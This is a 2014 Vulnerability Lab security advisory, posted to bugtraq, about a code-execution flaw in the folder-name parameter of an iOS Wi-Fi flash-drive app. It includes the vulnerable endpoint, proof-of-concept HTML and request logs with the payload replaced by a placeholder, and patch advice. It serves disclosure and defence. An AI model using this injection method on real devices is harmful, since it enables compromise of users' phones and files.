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USB&WiFi Flash Drive v1.3 iOS - Code Execution Vulnerability
- To: bugtraq@xxxxxxxxxxxxxxxxx, bugtraq@xxxxxxxxxxxxxxxxx
- Subject: USB&WiFi Flash Drive v1.3 iOS - Code Execution Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Tue, 16 Sep 2014 14:33:41 +0200
Document Title:
===============
USB&WiFi Flash Drive 1.3 iOS - Code Execution Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1316
Release Date:
=============
2014-09-15
Vulnerability Laboratory ID (VL-ID):
====================================
1316
Common Vulnerability Scoring System:
====================================
9
Product & Service Introduction:
===============================
The app take advantage of the free space of iPhone to store vast amounts of
files. Supports both wireless and usb transferring.
Compatible with Windows 7, Windows XP, Windows Vista, Mac OS 10+ and Linux.
It`s also an ALL-IN-1 reader and file browser. Images, videos,
music, documents are all supported: jpg, jpeg, png, tiff, tif, bmp, BMPf, ico,
cur, xbm, mov, mp4, mpv, 3gp, aac, adts, ac3, aif, aiff, aifc,
caf, mp3, mp4, m4a, m4r, snd, au, sd2, wav, doc, xls, ppt, pdf, rtf, key,
numbers, pages, gif, txt, html, htm.
( Copy of the Homepage:
https://itunes.apple.com/us/app/usb-wi-fi-flash-drive-free/id503106759 )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research team discovered a code execution
vulnerability in the official USB & Wi-Fi Flash Drive v1.3 iOS mobile
web-application.
Vulnerability Disclosure Timeline:
==================================
2014-09-15: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Leping Li
Product: USB & Wi-Fi Flash Drive - iOS Mobile Web Application (Wifi) 1.3
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Critical
Technical Details & Description:
================================
A remote code execution web vulnerability has been discovered in the official
USB & Wi-Fi Flash Drive v1.3 iOS mobile web-application.
The vulnerability allows remote attackers to execute own system (device)
specific codes to compromise the ios mobile application.
The remote code execution vulnerability is located in the name value of the
cgi/newfolder/ function module. Remote attackers are able to
execute system specific codes in the GET method request of the insecure add
`new folder` function. The execution takes place through
the name value of the items. The execution itself occurs in the index file
manager listing of the wifi flash drive mobile application.
There is no filter mechanism or protection module to parse available that needs
to be bypassed to provoke the execution. The attack vector
of the issue is location on the application-side and the request method to
execute code is GET.
The security risk of the code execution vulnerability is estimated as critical
with a cvss (common vulnerability scoring system) count of 8.9.
Exploitation of the code execution vulnerability requires no privileged account
or user interaction. Successful exploitation of the remote
vulnerability results in mobile application or device compromise.
Request Method(s):
[+] GET
Vulnerable Module(s):
[+] cgi/newfolder/
Vulnerable Parameter(s):
[+] name
Affected Module(s):
[+] WiFi File Manager
Proof of Concept (PoC):
=======================
The remote code execution web vulnerability can be exploited by remote
attackers in the wifi network without user interaction or privileged account.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
PoC: Wi-Fi Manager - Index Listing
<div id="photo_list_container" class="list" style="display: block;">
<ul id="photo_list" class="photocontainer"><li><a alt="1026" class="videolink"
href="###">
<img style="width: 120px; height: 120px;" onload="autoResizePhotoThumb(this);"
src="/cgi/thumb/1026"></a>
<span class="namespan">[CODE EXECUTION IN DIRECTORY PATH VALUE!]%3E</span><span
class="downloadspan">
<a target="_blank" href="/fd-down/cgi/download/1026/[CODE EXECUTION IN
DIRECTORY PATH VALUE!]%3E"><img src="/img/download.png"></a></span></li>
<li><a alt="1027" class="videolink" href="###"><img style="width: 120px;
height: 120px;" onload="autoResizePhotoThumb(this);" src="/cgi/thumb/1027"></a>
<span class="namespan">[CODE EXECUTION IN DIRECTORY PATH
VALUE!]%3E></span><span class="downloadspan">
<a target="_blank" href="/fd-down/cgi/download/1027/asdasdasd <[CODE EXECUTION
IN DIRECTORY PATH VALUE!]%3E>">
<img src="/img/download.png"></a></span></li></iframe></span></li>
<li><a alt="1028" class="videolink" href="###"><img style="width: 120px;
height: 120px;" onload="autoResizePhotoThumb(this);" src="/cgi/thumb/1028"></a>
<span class="namespan">[CODE EXECUTION IN DIRECTORY PATH VALUE!]%3E <[CODE
EXECUTION IN DIRECTORY PATH VALUE!]%3E"></span><span class="downloadspan">
<a target="_blank" href="/fd-down/cgi/download/1028/[CODE EXECUTION IN
DIRECTORY PATH VALUE!]%3E>"><img
src="/img/download.png"></a></span></li></iframe></span></li></ul>
<div class="pagecontrol"><p id="page_control">1</p></div></div></div></div><div
class="footer"><p>©2011- Wi-Fi Manager</p></div></div>
--- PoC Session Logs [GET] (EXEC CGI) ---
Status: 200[OK]
GET http://ipad.localhost:8080/cgi/newfolder/[CODE EXECUTION IN DIRECTORY PATH
VALUE!]%3E?0.7475382169664659 Load Flags[LOAD_BACKGROUND ] Größe des
Inhalts[12] Mime Type[application/x-unknown-content-type]
Request Header:
Host[ipad.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101
Firefox/32.0]
Accept[application/json, text/javascript, */*]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
X-Requested-With[XMLHttpRequest]
Referer[http://ipad.localhost:8080/]
Connection[keep-alive]
Response Header:
Content-Length[12]
Connection[close]
Status: 200[OK]
GET http://ipad.localhost:8080/[CODE EXECUTION IN DIRECTORY PATH VALUE!] Load
Flags[LOAD_DOCUMENT_URI ] Größe des Inhalts[916] Mime
Type[application/x-unknown-content-type]
Request Header:
Host[ipad.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101
Firefox/32.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://ipad.localhost:8080/]
Connection[keep-alive]
Response Header:
Content-Length[916]
Connection[close]
Reference(s):
http://ipad.localhost:8080/cgi/newfolder/
http://ipad.localhost:8080/cgi/
http://ipad.localhost:8080/
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the new folder
input in the cgi path. Restrict the name input and filter to prevent code
execution in the path values of the application. Encode and filter also the
name output value in the wifi file manager index item listing module to prevent
exploitation.
Security Risk:
==============
The security risk of the code execution web vulnerability in the new folder cgi
module is estimated as critical.
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(bkm@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]
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=========================
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